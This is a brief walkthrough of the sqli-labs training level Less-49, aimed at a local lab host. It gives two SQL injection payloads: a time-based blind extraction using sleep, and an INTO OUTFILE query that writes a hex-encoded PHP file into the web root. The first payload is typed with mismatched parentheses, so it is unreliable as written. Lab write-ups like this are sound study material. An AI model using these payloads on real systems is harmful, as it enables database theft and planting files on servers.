Sqli-labs less 49

Less-49

This level is basically similar to 47, except that there is no error echo, so we can inject it through the delay injection and the import file.

Using delay injection

Http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20 (If (ASCII (substr (select%20username%20from%20users% 20where%20id=1), =69,0,sleep (5)))--+

The delay is not shown in the map, you can construct the substr first parameter for subsequent injection.

or use into outfile to inject

http://127.0.0.1/sqllib/less-49/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22%20lines% 20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+

?

?

Sqli-labs less 49